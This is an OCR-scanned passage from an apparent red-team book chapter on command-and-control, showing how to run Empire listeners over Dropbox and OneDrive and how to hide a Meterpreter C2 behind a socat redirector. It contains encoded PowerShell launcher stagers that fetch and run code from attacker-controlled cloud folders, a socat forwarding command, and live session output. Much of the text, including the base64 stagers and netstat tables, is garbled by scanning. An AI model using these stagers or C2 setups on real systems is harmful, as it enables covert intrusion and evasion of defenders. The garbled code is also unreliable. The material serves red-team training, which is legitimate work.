&« = & Dropbox, Inc [US] | https://www.dropbox.com/developers/apps/create

il P%uve o
é:'. 0 Al
F Create a new app on the DBX Platform
EPRE 1. Choose an API
My apps
APl Explorer
[ nbo P fA =7 ropt siness API 4
S Dropbox API » D opoorx Business Al /T
For apps that need to access files in T‘:J ‘ For apps that need access to Dropbox ( L\r
HTTP Dropbox. Learn more @ J Business team info. Learn more \\‘f)

2. Choose the type of access you need

3. Name your app

References

In step two, we need to choose which type of access we need. This can be either:

o App folder: This gives us access to a single folder that is created
specifically for our app

e Full Dropbox: This gives us access to all files and folders in our Dropbox

Let's choose App folder for now. In step three, let's give a name to our app:


http://www.dropbox.com/developers/apps/create

&« C i Dropbox, Inc [US] | https:, dropbox. pers/apps/create o é'n [ ; i D <

a
API Explorer
& - Dropbox API As Dropbox Business API il
ocumentation
©  For apps that need to access filesin [=] For apps that need access to Dropbox 6/‘1/'\\0)

HTTP Dropbox. Learn more @ Business team info. Learn more N_E

NET

Java

JavaScript

2. Choose the type of access you need

Python

Swift Learn more about access types

Objective-C

Community SDKs © App folder - Access to a single folder created specifically for your app.

References

Authentication types Full Dropbox - Access to all files and folders in a user’s Dropbox.
Branding guide
Content hash
Data ingress guide 3. Name your app
Namespace guide

This app name is already taken
Content access guide

ZAE:yssE2|

Developer guide
OAuth guide
v2 migration guide

Webhooks | agree to Dropbox AP| Terms and Conditions

Chooser
Saver m

APl vl

Click on the Create app button to create the app. After doing so, the app
dashboard will look as follows:



o-]

& C & Dropbox, Inc [US] | https://www.dropbox.com/developers/apps/info i T i.’n ¢ L“ [} L?u 1o}

App created. Q = Zircanavo Abyss

33 ZAbyssC2

APIv2 Settings Branding Analytics
My apps
API Explorer
Status Development Apply for production
Documentation
HTTP
NET Development users Only you Enable additional users
Java
S Permission type App folder
Python
Swift
App folder name ZAbyssC2 Change
Objective-C 2 by -
Community SDKs
App key Lo s
References
App secret Show
Authentication types
Branding guide
Content hash OAuth 2 Redirect URIs
Data ingress guide https:// (http allowed for localhost) Add
Namespace guide
Content access guide Allow implicit grant
Developer guide
e Allow
OAuth guide
v2 migration guide Generated access token

To generate the APIToken, click on the Generate button under the Generated
access token header:



OQAuth 2 Redirect URIs

https:/f (http allowed for localhost) Add

Allow implicit grant

Allow

Generated access token

Generate

Chooser/Saver domains example.com Add

If using the Chooser or the Saver on a website, the domain of that site.

Webhooks Webhook URIs

Use this newly generated APIToken in the Empire dbx listener:
OAuth 2 Redirect URIs

https:// (http allowed for localhost) Add

Allow implicit grant

Allow

Generated access token
e o e e e I 5 | T

This access token can be used to access your account (zircanavo.abyss@gmail.com) via the API.
Don't share your access token with anyone.

Set the ap1Token Option and start the dox listener:



{Empire: ; t APIToken I
{Empire: 3 acute

{Empire:

(Empire: ) =
{Empire: ) = back

(Empire: ) = list

Name Module 't Delay/Jitter KillDate

dropbox
Empire
DeathStar

When the listener is ready, Empire will create a folder for itself.

&« C & Dropbox, Inc [US] | https://www.dropbox.com e/Apps/ZAbyss T ‘A m e B " W a
Y
b < Dropbox > Apps » ZAbyssC2 Q Searc L
Files Name ¢ 1 . 1=
Upload
My files Empire = Only you
ring Inly y ’
request
BN la
|'_T Crea le
Lo 28 lelete
y _i;\
\L/s

Inside the empire folder, we can see three different folders:

e The resuits folder, which will save the results of the executed command on
the target

e The staging folder, which contains the PowerShell and the Python stagers

e The taskings folder, which contains the tasks given by the Empire C2 to the
target server



&« & & Dropbox, Inc [US] | https://www.dropbox.com, Tr b B [oe-] jﬂ i a
it
:,: Dropbox > Apps > ZAbyssC2 > Empire Q Searc 0
Files ame 1 =
My files results - Only you
£ )
equests staging - Only you

taskings = Only you

The PowerShell and Python stagers are pushed to the dropbox by C2 so that the
target server can download it.

& C & Dropbox, Inc [US] | https://www.dropbox.com/home/App ¥ Efm
iz 2l > ZAbyssC2 > Empire > stagi a
> 2 DYSS mpire > staging
Files Name + . bers - = .
My files = debugps Yesterday 7:17 pm Only you
Sharing
File requests & debugpy Yesterday 7:17 pm Only you
Deleted files

Now that the Dropbox listener is ready, we can use a stager. In this case, we're
going to use the classic Empire PowerShell launcher:

(Empir ) = usestager multi/launcher

(Empi ) = set Listener dropbox
(Empire: ) = execute

powershell -noP -sta -w 1 -enc SOBGACgAJABOAFMAVQBIAHTACWBIAES8ADGBUAEEAQGBMAEUAL gBOAFMAVBFAHTACWBPAGBADGAUAEBAY(OBKAGBAUGAGACDAZWB FACAAMNAPAHS
AJABHAFAARGAIAFSAUGBTAEYAXQAUAEEACWBTAEUAD(B 1 AEWANOAUAECARQBUAFQAWOBOAGUAKAANAFMAE )BZAHOAZOBtACAAT OBhAGAAY(OBNAGUADOB 1AG4AdAAUAEEAdOBOAGBADOBhAH
QAaQBVAGAALgBVAHOAGDBSAHMAIWAPACAATgBHAGUAVABGAEKAZ OBGAEWARAA L ACGAIWE JAGEAYWBOAGUAZABHAHIADWB1AHAAUABVAGWAAQB jAHKAUWB LAHOAABpAGAAZWBZACCALAANA
E4AIwArACcAbWBUAFAAOB i AGwAQQB jACWAUWBOAGEAdABpAGMAIWAPADSASOBMACgAJABHAF AAR gAPAHS AJABHAF AAQWASACOARWBOAE YAL gBHAGUAVABWAE EADABLAGUAKAAKAGAAJOBM
AEWAKQA7AEKAZ gAOACOARWBOAEMAMWANAFMAYWBYAGKACABOAETAIWArACCADABVAGMAGWBMAGBAZWBNAGKADgBNACCAXQAPAHSAJABHAFAAQWBDACCAUWB JAHTAaQBWAHOAQANACSAIWE
SAGBAYWB rAEWAbWBNAGCAGOBUAGCA IWBAAFSAIWB FAGAAY OB 1AGWAZOBTAGMACGBpAHAAJABCACCAKWANAGWADWE j AGSATABVAGCAZWBpAGAAZWANAFDAPQAWAD SAJABHAFAADWBbAC cAUW

NACCAXOASADAATOAKAHYAY(BSADOAWMBDAGBATABSAEUAINBUAG kADwBUAHIMAL gBHAEUATgBFAFTAGOB j ACAARABPAEMAVABAGBAT gBBAHI Ae0BbAHMAABYAGK (
UnBZAFMAVABFAEOAL gBPAETAagB 1 AGMAJABIAFDADgAGAEAAROBXACAK QA7 ACOAVYBBAEWAL gBBAEQAZAROACCAROBUAGEAYgBSAGUAURB jAHTAGQBwAHOANGANACSAIWBSAGBAYWB rAEW

AAZWANACWAMAAPADSAJABHAFAAQWBDACCASABLAEUAKOBTAEWATWBDAE EATABTAEGAQOBDAEGASOBOAEUAXABTAGBAZ gBOAHCAY(BYAGUAX ABOAGBADABPAG

GBACWBVAGYAJABCAFCAGQBUAGOADWB3AHMAXABOAGBADWE | AHTAURBOAGUADABSAFWAUWS j AHTAGOBwAH NACSAJWBSAGBAYWE rAEWADWBNAGCATOBUAGCA,
AGUAenBbAFMAOWBSAEKACABUAETATABVAGMAGWBAAC4ATgBHAGUAIABGAEKAZ OBgAEWARAATACQA, GRAZWBUAGEAdABI AHTAZ0BzACCALAANAEAAIWArAC CADWBUAF )
jACAUWBOAGEAdABpAGMA IWAPACAAUWB 1 AHOAVgBBAGwWAIOB 1ACGAJ ABUAHUATABSACWAKABOAGUAdWA LAEBAQGBKAGUAQWBOACAAQWBVAGWATABFAEMAVABPAESATgBTAC4ARw

AGKAYWALAEGAQOBTAGIAUMB TAFQAMWBTAHQACBPAE4ARWBAACKAKOBIAFSAUGBFAGYAXQAUAE BZAEUATOB i AEwAeOAUAECAR(OBOAF QAL OBRWAGUAKAANAFMAROBZAHOQAZ

OBtAC4ATOBhAGAAY()BNAGUADOB LAGHAAAUA EEAd()BOAGBADOBhAH)AG)BVAGAAL gBBAGOACWB pAFUAdABpAGWACWANACKATAA/ AHSAJABF AHOATAALAHSAIAB FACAARWE LAHOARGBPAEUA

bABKACgAIWBhAGDACWBPAEKADGBPAHDARgBhAGKADAB 1AGOAIWASACCAT gBVAGHAUABIAGTADABpAGMALABTAHOAYOBOAGKAYWANACKAL gBTAEUAVABWAE EADABVAGUAKAAKAGAAOBSAGW

ALAAKAFOACgBIAGUAKOBIADSATOAZAFSAUMBZAHMAVABFAEQAL gBOAEUAVAAUAFMAZ OBSAHYAQOB jAGUAUABPAGKAbgBOAEGAY(IBOAGEARY JAb ) )

AAOWBPAGAAJABPAE4AVOB LADOAMAAZACOAVWBDADQAT gB 1AFCALOBPAELAGGB FAGHAdAAGAFMAWOBZAFQAZOBLACAAT gB FAHOALgBXAGUAQGBDAGWAS OB FAGAAVAAZA

HoAaQBsAGWAYQAVADUAL gAWACAAKABXAGKAbgBKAGBAdWBZACAATgBUACAANGAUAD EADWAGAF CATWBXAD

ACKATABsAGkAawB 1 ACAARWS 1 AGMAawWBVACCAOWAKAHCAYWAUAEGAROBBAEQAZ OBYAFMAL gBBAGOAZAAOACC

PAHgAROAIAF SAUMBSAFMAVABFAEQAL gBOAEUAVAAUAF cAZOBCAFIAZOBXAHUAZOBTAFQAX0AGADOARABFAGYADOBIAEWAVABXAEUAY gBOAF TAbwBYAFKAOWAKAHCAYWAUAFAAUgBPAFgAe(

Once the stager is executed on the target, it will connect to the Dropbox C2. At
this point, the Empire C2 will check the status from Dropbox. If the agent is



detected, the Empire C2 will start with the staging process:

{Empire: ) >

Confirm the newly connected agent via Dropbox:

(Empire:

Name La Internal IP Machine Name Username  Process Delay Last Seen

VB7AZUPG ps 192.168.2.5 PT-PC PT-PCPT  powershell 2236 60/0.0

(Empire: 3>

Information regarding the agent is shown in the following screenshot:



(Empire: B interact VB7AZUPG
(Empire: ) = info

4932912341340866
0.0

None

192.168.2.5

19Z=3?7LTa rR-IcS}DW+~*n| X1y)2V<
None

2018-09-22 13:49:01

PT-PC

4

60

PT-PC\PT

None
powershell
dropbox
2236
dmin/get. php, /news.php, / in/ cess.phplMozilla/5.0 (Windows NT
; WOW64; Trident/7.0; rv:11.0) like Gecko
Microsoft Windows 7 Ultimate
10
Hone
VB7AZUPG
powershell
0.0.0.0
VB7AZUP
2018-09-22 13:53:04
2
0

(Empire:

If we analyse the traffic on the target, we can see that the stager is connecting to
https://www.dropbox.com domain:

Mo. Time Source Destination Protocol  Length Info
473 3.876819 192.168.68.228 162.125.82.8 TLSv1 184 Client Hello
484 3.996575 162.125.82_8 192.168.8.228 TLSv1 1514 Server Hello
497 3.996743 162.125.82.8 192.168.8.220 TLSv1 886 Certificate, Server Key Exchange, Server Hello Done
581 4.838928 192.168.0.220 162.125.82.8 TLSv1 188 Client Key Exchange, Change Cipher Spec, Encrypted Handshak
586 4.148974 162.125.82.8 192.168.8.228 TLSv1 113 Change Cipher Spec, Encrypted Handshake Message
519 4.286247 192.168.8.228 162.125.82.8 TLSv1 432 Application Data, Application Data
577 4.626246 162.125.82_8 192.168.8.220 TLSv1 635 Application Data

578 5.829539 52.125. "192.168. ~ 535 [TCP Spurious Retransmission] , Application Data

7488 64.626225 162.125.82.8 192.168.8.220 TLSv1 91 Encrypted Alert

And a valid SSL certificate to communicate:


https://www.dropbox.com

577 4.626246

162.125.82

192.168.68.228

7408 64.626225

162.125.82. 192.168.0.220 TL5v1 91 Encrypted Alert
<

L

3
Compression Methods Length: 1

> Compression Methods (1 method)
Extensions Length: 56

4 Extension: server_name (len=27)
Type: server_name (@)
Length: 27
4 Server Name Indication extension
Server Name list length: 25
Server Name Type: host_name (@)
Server Name length: 22

Server Name: content.dropboxapi.com
» Extension: supported_groups (len=6)
» Extension: ec_point_formats (len=2)

Create a new account because sometimes Dropbox disable the account.

We can also use Microsoft's OneDrive in a similar manner.



Using OneDrive as the C2

The settings for OneDrive are different to those of Dropbox, but the concept is
the same. Let's create a OneDrive listener in Empire using the uselistener onedrive

command from the 1isteners menu:
(Empire: } = uselistener onedrive
(Empire: } = info

Name: Onedrive
Category: third_party

Authors:
@mre4bit

Description:
Starts a Onedrive listener. Setup instructions here:
gist.github.com/mro4bit/3fd8f321717¢9a642317949d494b6cd9

Comments:
Note that deleting STAGEQ@-PS.txt from the staging folder
will break existing launchers

Onedrive Options:

The options that are available to set are displayed in the following screenshot:



Onedrive Options:

Name Required Value Description
SlackToken False Your SlackBot API token to communicate with your Slack instance.
KillDate False Date for the listener to exit {MM/dd/yyyy).
Nome True edri Nome for the listener.
RedirectURI True 5://login. live.com/oauth2@_d Redirect URI of the registered application
esktop.srf
ResultsFolder True results The nested Onedrive results folder.
Launcher True powershell -noP -sta -w 1 -enc  Launcher string.
AuthCode True Auth code given after authenticating 0Auth App.
TaskingsFolder True taskings The nested Onedrive taskings folder.
ClientID True (lient ID of the 0Auth App.
DefaultProfile True N/AIMicrosoft SkyDriveSync Default communication profile for the agent.
17.005.0107.0008 ship; Windows
NT 10.0 (16299)
DefaultLostLimit True 10 Number of missed checkins before exiting
WorkingHours False Hours for the agent to operate (©9:00-17:00).
Defaultlitter True 0.0 Jitter in agent reachback interval (@.8-1.0).
SlackChannel False #general The Slack channel or DM that notifications will be sent to.
RefreshToken False Refresh token used to refresh the auth token
Stagingkey True W_xdQ@i&|3.IM-mGATk: XL1~A+@vP{Bz? Staging key for intial agent negotiation.
PollInterval True 5 Polling interval (in seconds) to communicate with Onedrive.
DefaultDelay True 60 Agent delay/reach back interval (in seconds).
StagingFolder True staging The nested Onedrive staging folder.
BaseFolder True empire The base Onedrive folder to use for comms.

The options that we need to start the listener are: authcode and client.

To get the ciientin, we need to register to Microsoft's developer account and log
in. We can see the application dashboard by visiting nttps://apps.dev.micrsoft.com/#
sappList. Click the Add an app button to add an application:

¢ C & https:/fapps.dev.microsoft.com r 0 o @ JB W 9

B8 Microsoft Application Registration Portal Tools Does Feedback
My applications ...

Name App ID / Client Id

Press the “Add an App" button to create a new application

@ English Contact us erms of use Privacy statsment © Microsoft 20

Set the application name and click the Create button to continue:


https://apps.dev.micrsoft.com/#/appList

= & & https:/fapps.dev.microsoft.com/portal/register-app

m Microsoft Application Registration Portal Tools

Register your application

Application Name

ZAbyssC2-OneDrive

Guided Setup
|:| Let us help you get started

By proceeding, you agree to the Microsoft Platform Policies

Upon successful creation of the application, we can see the application ID. This
is the client ID that is required by the Empire C2:



€ C @& https://apps.dev.microsoft.com/#/application/dbd8fe94-73f5-4cf3-be28-06a7999785fc

2
a
o

(&)
ut

@

UE Microsoft  Application Registration Portal Tools Docs Feedback srcanavo |

My applications / ZAbyssC2-OneDrive

ZAbyssC2-OneDrive Registration

Click here for help integrating your application with Microsoft.

Properties

Name

| ZAbyssC2-OneDrive

Application Id
dbd8fe94-73f5-4cf3-be28-06a7999785fc

Application Secrets

Platforms

Let's now set the client ID:

DefaultDelay True 60 Agent delay/reach back interval (in seconds).
StagingFolder True staging The nested Onedrive staging folder.
BaseFolder True empire The base Onedrive folder to use for comms.

{(Empire: Y > set (lientID wisieimimm

We also need to add a redirect URL. We can do this by clicking on the Add
Platform button under the Platforms section:



Platforms

Microsoft Graph Permissions

The settings you set here may vary depending on whether you get a token from our V1 or V2 endpoint. What's the difference?

Delegated Permissions About delegated permissions

User.Read

Application Permissions m About application permissions

A window will open to ask which type of platform we want to add. For now, let's
choose Web:

Add Platform

=
1]
o

Native Application Web API

We will then be displayed with a Redirect URLSs field, where we can add the



Platforms

web

Allow Implicit Flow

Redirect URLs @ WNERIR

Enter a URL

Logout URL ©

e.g. https://myapp.com/end-session

URL:

Set the field to nttps://1login.live.com/oauth20_desktop.srf :



Platforms

Web Delete

Allow Implicit Flow

Redirect URLs © F¥ELI:E

https://login.live.com/oauth20_desktop.srf

Logout URL @

e.g. https://myapp.com/end-session

Half of the configuration is now complete. To retrieve the authcode, we need to
execute the listener so that the listener will request the authcode using the ciientio:

(Empire: ) = execute

(Empire:

Open the URL given by the Empire C2 to get the AuthCode:



- C @ https:/faccount.live.com/Consent/Update?mkt=EN-GBA&uiflavor=host&id=293577&uaid=4cBc59177ed94a13b2e7ac75{7a61b36&ru=https:/flogi... ¥ L—"a ‘o [::-] '-_‘a P & e :

¥ Microsoft

Zzircanavo.abyss@gmail.com

Let this app access your info?

ZAbyssC2-OneDrive needs you to confirm its
permission to:

* Access OneDrive files

+ Access your info at any time

Accepting these permissions means that you allow this app to
use your data as specified in their Terms of Service and Privacy
Staternent. The publisher has not provided links to their terms
for you to review. You can change these permissions at
hitps://microsoft.com/consent. Show detalls

Click Yes to continue. The page will be redirected to the blank page. In the URL,
we can find the code parameter. This is the authcode that we require:
&« C & httpsy/login.live.com/oauth20_desktop.srf?code -GG 2. = 2057

Now, set the authcode:

(Empire: ) set AuthCode wmuso
(Empire: ;
(Empire:

(Empire:
(Empire:
(Empire:

Everything is ready, so let's start the listener:



(Empire:
(Empire:
(Empire:

(Empire:

Now that the listener is ready, we can generate a one-liner stager using the
OneDrive listener:

) = usestager multi/launcher

) >t Listener onedrive

) ecute
powershell -noP -sta -w 1 -enc JABFAHIAcCgBvAHTAQQB jAHQAGQBVAGAAUABYAGUAZ gB1AHTAZQBUAGMAZ QAGADBATAANAFMAQOBSAGUADgBOAGWAe OBDAGBADYBOAGKAbGBIAGU
AIWATAEKARgAOACQAUABTAFYAROBSAFMAQQBPAE4AVABhAGTADAB 1AC4AUABTAFYAROBSAFMAQOBPAE4AL gBNAGEAagBVAHTATAALAGCARQAGADMAK OB7 ACOARWBOAEYAP OBDAFTAZ(QBGAF
OALgBBAFMAURB FAGOAYgBMAHKALgBHAEUAVAI kACABFACGAIWBTAHKACWBOAGUADQAUAEDAY0BUAGEAZWE TAGDAZ OBUAHOAL gBBAHUAJABVAGBAY(BOAGKADWBUACAAVOBOAGKADABZA
CcAKQAUAC CARWBFAFQAR gBpAEUAYABSAGOAIWAOACCAYWBhAGMAQAB LAGOARWBYAGBAdBWAFAADWBSAGKAYWBSAFMAZ OBOAHQAQOBUAGCACWANACWATWBOAC CAKWANAGBADgBOAHUAYBS
AGKAYWASAFMAdABhAHOAAOB JACCAK0AZAEKARGAOACOARWBOAEYAKOBZACQARWBOAEMAP OAKAECAUABGACAARWE 1 AFQAVBBAGWAVOBFACgAJABOAFUADABSA JAGYAKAAKAECAUAB
DAFsAInBTAGMACGBpAHAADABCACCAKWANAGWADWE j AGSATABVAGCAZWBpAGAAZWANAFOAK 0B 7 ACQARWBOA EMAMMANAFMAYWBYAGKACABOAE IAIwArACCADABVAGMAGWBHAGBAZWBNAGKADg
BnACCAXQBbACCARQBUAGEAYgBSAGUAUWE j AHTAa(QBWAHOAQGANACSATWBSAGBAYWB rAEWAbWBNAGCAQQBUAGCAIWBAADDAMAAT ACQARWB QA EMAWMWANAFMAYWB Y AGKACABOAE TAJWArACCAD
ABVAGHAawBMAGBAZwWBNAGKAbgBNACCAXOBDACCARDBUAGEAYgBSAGUAUWS j AHTAGOBwWAHOADgBSAGBAYWB rAEKADgBZAGBAYWBhAH)AGQBVAGAATABVAGCAZWBPAGAAZWANAFDAPQAWAHBA
JABZAGEATAASAFSAOWBPAEWATABFAEMAVABIAESATOBTACAARWE L AGAAR OBSAGKAOWAUAEQASOB jAFC BvAEAAQOByAHKAMABZAHOACOBJAGAAZWASAFMAWOBTAFOAROBLACAATWBCAED
AZ(OBDAHOAXOBdAD0AOgBUAEUAdwWAOACKAOWAKAHYAQOBSACAAQOB EAGOAKAANAEUADgBhAGTIADAB 1Al wWBYAGKACABOAETAIWArACCAbABVAGMAaWBMAGBAZWBNAGKADgBNACCALAAWAC
KAOwWAK AC4AQ0BKAGOAKAANAEUAbgBhAGTADAB 1 AFMAYWBYAGKACABOAE TADABVAGMAGWB JAGAAdgBVAGMAY OBOAGKAbWBUAEWADWBNAGCAGDBUAGCAIWASADAAKOAZACOARWBOA
EMARWANAE gASWB FAFKAXWBMAEBAQWBBAEWAXWBNAEEA KATQBFA WBVAGYAAB3AGEACB TAFWAUABVAGWAGDB j AGKAZOBZAFWATOBpAGMACGBVAHHAbWBMAHOAXABXAGKADgBK
AGBAdWBzAFWAUABVAHCAZ O BYAFMAGAB 1 AGWADABCAFMAYWBYAGKACABBAETAJwWArACCADABVAGMAGWBMAGBAZWBNAGKABgBNACCAXQAIACOAVGBBAEWA T OBFAGWAUWE 1 AHSAWWB TAEMAUGB

When the stager is executed on the target server, it will connect back to the
OneDrive server and the Empire C2 will update the agent entry with the newly
connected agent:

(Empire:

(Empire: Y = back
(Empire: J} = list agents

Let's check the network traffic from the target:



o Tme Source Dstngtion ool Lengh Info
473 3.676819  192.168.0.220 162,125.82.8 TS0 184 Client Hello
4943.9957  led.15.80.8 192,168.0.220 TLS1 1514 Server Hello
973,997 16L105.8L.8 192.168.0.10  TLSQ 886 Certificate, Server Key Exchange, Server Hello Done
MLAOME 19168020 16L105.82.8 TS 188 CLient Key Exchange, Change Cipher Spec, Encrypted Handsha
S0 4048974 162.125.80.8 192.068.0.28  TLSL 113 Change Cipher Spec, Encrypted Handshake Message
94286247 192.166.0.200 162,125.82.8 TS 432 Application Data, Application Dats
74,6062 162.125.62.8 192,168.0.220 TS0 635 Application Dats
S LI WL TSL 5[0 dri liasisio] gl s ___]
I 1405 64,6262 162.125.82.8 192,168.0.220 TS0 91 Encrypted Alert

Similar to Dropbox, the SSL certificate used in OneDrive is a valid one.



a7 462626 162,125.80.8 192,168.0.220 TSl 635 Application Data

AL A

7406 64.606205  162.125.82.8 192,168.0.220 TSv1 91 Encrypted Alert

(onpression Hethods Length: 1 »
' Compression Hethods (1 nethad)
Extensions Length: 56
4 Extension: server nane (len=27)
Type: server nane (0)
Length: 27
4 Server Nane Indication extension
Server Nane List length: 25
Server Nane Type: host nane (8)
Server Nane Length: 22
Server Nane: content.draphoxapd. con
' Extension: supported groups (Len6)
' Extension: ec_point formats (Len=2)

The cloud-based file-sharing C2s can really help in a situation where it's difficult
to get reverse connections back to our C2. This doesn't mean, however, that we
shouldn't look out for the covert channels that our C2 is using. Covert channels
are an important aspect of a red team operation.




C2 covert channels

A covert channel is used to communicate secretly. Whereas encryption only
protects the communication from being decoded by unauthorized parties, covert
channels aim to hide the very existence of the communication. Initially, covert
channels were identified as a security threat on monolithic systems such as
mainframes. More recently, focus has shifted towards covert channels in
computer network protocols. The huge amount of data and the vast number of
different protocols in the internet make it an ideal high-bandwidth vehicle for
covert communication. Some of the most common protocols that are used to
create a covert channel are as follows.

(The fOHOWng are referenced from: https://holdmybeersecurity.com/2017/10/15/part-3-

how-to-red- team-setting-up-environment/)


https://holdmybeersecurity.com/2017/10/15/part-3-how-to-red-team-setting-up-environment/

TCP

Transmission Control Protocol (TCP) is one of the most common protocols
that are used in networking. We can use it as a C2 covert channel because of its
connection-oriented nature. As there are many TCP communications happening
on the wire, the C2 covert channel used can blend in with other TCP
communications. The biggest disadvantage of using TCP as the covert channel,
however, is the persistent connection that is established. When checking for
active connections on the system, the estasLisken state that is displayed by the
netstat command can reveal the communication between the C2 and the target
server. This type of indicator can tell the blue teamer the subnet of the red team,
the IP address of the C2 server(s), the port its connecting back to, and the type of
traffic to block.



UDP

User Datagram Protocol (UDP) is one of the most difficult protocols to work
with. Malware writers struggle to write malware that is specific to the
communication with the C2 because of its connection-less nature. However, this
means that this protocol doesn't show an estasL1sHep State when monitoring active
connections using netstat, which gives it a stealthier C2 channel.



HTTP(S)

Hyper Text Transfer Protocol (HTTP) is apparently the most well-known
protocol on the web. Due to its different web request methods, including et and
posT, it is a viable C2 channel. Since it is a common protocol that is used by most
organizations, administrators allow the HTTP ports se and 443 for the outbound
connection.



DNS

Domain Name Server (DNS) is the second most commonly used network
protocol and one of the most popular ones for C2 communication with the target
server. To set up a C2 covert channel, DNS uses different methods such as query
and response. DN is particularly powerful since no IP addresses need to be
recalled and all administrations depend on DNS to achieve their goals. It is a
straightforward method to impart malware.



ICMP

Internet Control Management Protocol (ICMP), which is also known as
PING, is also known as PING, is another method that can be used as a C2
channel. Many administrators allow PING through the firewall so they can check
whether the servers are alive or not. The C2 payloads can be added as padding to
the ICMP headers, making it a unique C2 covert channel.

On the other hand, if the blue team detects our access, they can easily blacklist
our C2 IPs forever and our C2s will be burned. However, this does not
necessarily mean that we have to go through the whole installation and
configuration procedure again.



Summary

In this chapter, we have provided an introduction to command and control (C2)
servers and discussed how they are used in a red team operation. We have then
covered how we can use cloud-based file-sharing services as C2s to make the
communication between the target and our C2 stealthier. We have also learned
about C2 covert channels and their importance with some commonly used
protocols used in covert channels. In the next chapter, we will cover the topic of
hiding C2s behind a Redirector so that even if the blue team detects the
connection, only our redirector will be burned and not our C2.



Questions

1. What all other C2 servers can we use if not cloud based?

Can we use our personal account for Dropbox?

3. Is it necessary to use a C2 server in the first place? Why not just make our
own system as C27?

4. Are there any automation scripts or tools which can be used to configure
the red team infrastructure automatically?

5. Is there a way to manage multiple C2s from a dashboard?

N



Further reading

For more information on the topics discussed in this chapter, please visit the
following links:

® https://holdmybeersecurity.com/2017/10/15/part-3-how-to-red-team-setting-up-environm
ent/

® https://speakerdeck.com/bluscreenofjeff/building-a-better-moat-designing-an-effectiv
e-covert-red-team-attack-infrastructure?slide=10

® https://arno0x0x.wordpress.com/2017/09/07/using-webdav-features-as-a-covert-channel/

® https://securityonline.info/sgl-swiss-army-knife/

® https://nGwhere.net/data-exfiltration-over-dns-request-covert-channel-dnsexfiltrator


https://holdmybeersecurity.com/2017/10/15/part-3-how-to-red-team-setting-up-environment/
https://speakerdeck.com/bluscreenofjeff/building-a-better-moat-designing-an-effective-covert-red-team-attack-infrastructure?slide=10
https://arno0x0x.wordpress.com/2017/09/07/using-webdav-features-as-a-covert-channel/
https://securityonline.info/sg1-swiss-army-knife/
https://n0where.net/data-exfiltration-over-dns-request-covert-channel-dnsexfiltrator

Obfuscating C2s - Introducing
Redirectors

In the previous chapter, we learned about the basics of C2 server and how we
can use file-sharing services like Dropbox and OneDrive as a C2 server.
However, from the blue team's perspective, the unfamiliar IPs will be blacklisted
after knowing what those IPs are for. If our C2 server is blacklisted, our
engagement will fail. Consequently, to protect our C2 servers from being
detected by the defenders of the organization, we will hide our team servers
behind another server. This server is called a Redirector and it'll be responsible
for redirecting all the communication to our C2 server.

In this chapter, we will cover the following topics:

Introduction to redirectors

Obfuscating C2 securely

Short-term (ST) and long-term (LT) redirectors
Payload stager redirection

Domain fronting



Technical requirements

e [inux
e Armitage
e Socat



Introduction to redirectors

Let's explore the basics of redirector using a simple example. Take a scenario in
which we have already configured our team server and we're waiting for an
incoming Meterpreter connection on port sese/tcp. Here, the payload is delivered
to the target and has been executed successfully. To follow are the things that
will happen next: On payload execution, the target server will try to connect to
our C2 on port sese/tcp. Upon successful connection, our C2 will send the second
stage as follows:

[#] Encoded stage with x86/shikata_ga_nai
[*] Sending encoded stage (179808 bytes) to 182.68.168.52

[#] Meterpreter session 1 opened (172.31.48.83:8080 -> 182.68.168.52:59632) at 2018-89-23 07:36:41 +0080
msf5 exploit(multi/handler) >

A Meterpreter session will then open and we can access this using Armitage:

182.68.168.52

192.168.2.5
PT-PC\PT @ PT-PC

However, the target server's connection table will have our C2s IP in it. This
means that the monitoring team can easily get our C2 IP and block it:



C:slUserssPT rnetstat —an

Active Connections

Proto
TCP
TCP
TCP
ICP
TCP
TCP
TCP
ICP
ICP
TCP
TCP
ICP
ICP
ICP
TCP
TCP

ICP

Local Address

o
(¥ = . I " " N n " " " n
NMNERDDEERERED DS EE

.168.
.168.
.168.
.168.
.168.
.168.

.168.

.A:135
.A:445
.A:554
.A:3389
.A:5357
.A:49152
.A:49153
.A:49154
.A:49155
.A:49156

.5:139
.5:3389
.5:49525
.5:50009
.5:54013
.5:54821

.5:59632

State
LISTENING
LISTENING
LISTENING
LISTENING
LISTENING
LISTENING
LISTENING
LISTENING
LISTENING
LISTENMING
LISTENING
ESTABLISHED
ESTABLISHED
ESTABLISHED
ESTABLISHED
ESTABLISHED

ESTABLISHED

=]
-
2]
o

DO EEEEEE
IR

CEIEEEE D E S -
e
I EEED

192.168.2.7:59563
20.198.145.177:443
13.1A7.4.50:80
204.79.197.213:443

162.125.81.8:443
54.166.189.171 :8088

Here's the current situation. This is displayed in an architectural format in order
to aid understanding:

Netstat result shows that the
system is connected to C2

=
Target

Windows meterpreter
reverse_tcp on port 8080/tcp
listening for incoming

connection
=
Target connects back to the
C2 on payload execution
C2

To protect our C2 from being burned, we need to add a redirector in front of our



C2. Refer to the following image for a clear understanding of this process:

Forwards the connection from

the target to our C2
ey

Windows meterpreter reverse_tcp
on port 8080/tcp listening for
incoming connection from the

Netstat result shows that the
system is connected to our

Dedrector Redirector
1 Redirector
Target connects back to
L the redirector on payload
Targe execution 0

This is currently the IP information of our redirector and C2:

e Redirector IP: 35.153.183.204
o C21IP: 54.166.109.171

Assuming that socat is installed on the redirector server, we will execute the
following command to forward all the communications on the incoming port
seso/tcp to our C2:

o

o)

-4 sudo socat TCP4-LISTEN: 3080, fork TCP4:54.166.109.171

Our redirector is now ready. Now let's generate a one-liner payload with a small
change. This time, the 1nost will be set to the redirector IP instead of the C2:



Upon execution of the payload, the connection will initiate from the target server
and the server will try to connect with the redirector:

Encoded stage with x86/shikata_ga_nai

Sending encoded stage (179888 bytes) to 35.153.183.204
[#] Meterpreter session 2 opened (172.31.48.83:8080 -> 35.153.183.204:58432) at 2018-09-23 08:38:53 +0000
msf5 exploit(multi/handler) >

We might now notice something different about the following image as the
source IP is redirector instead of the target server:

35.153.183.2084

192.168.2.5
-PCA\PT @ PT-PC

Let's take a look at the connection table of the target server:



Proto i L IPE L

F d. 4. H_H d. 1. 1. H:H l

F d.1.H_H:44 d.1. 1. H:H l

F d. 0.4, B 4 d.0.4.4:H l

[ q. 1.1 Y d.H. 0. WK 1

[ q. 1.1 ¢ d.1. 1. WK 1

[ q.1.H.H:47 d.1. 1. H:H Y

i ] A A A AR o '*

d.1.H.H:4 d.1. 1. W4 Y
i ] AR A AR o '*
q.1.H_H:4 : d.1. 1. H:H by l

F q.1.H_H:43 d. 1. 1. H:H l

F d. 1. H_H:4715k d.1. 1. H:H l

F ; b ; d.0.1.4:H

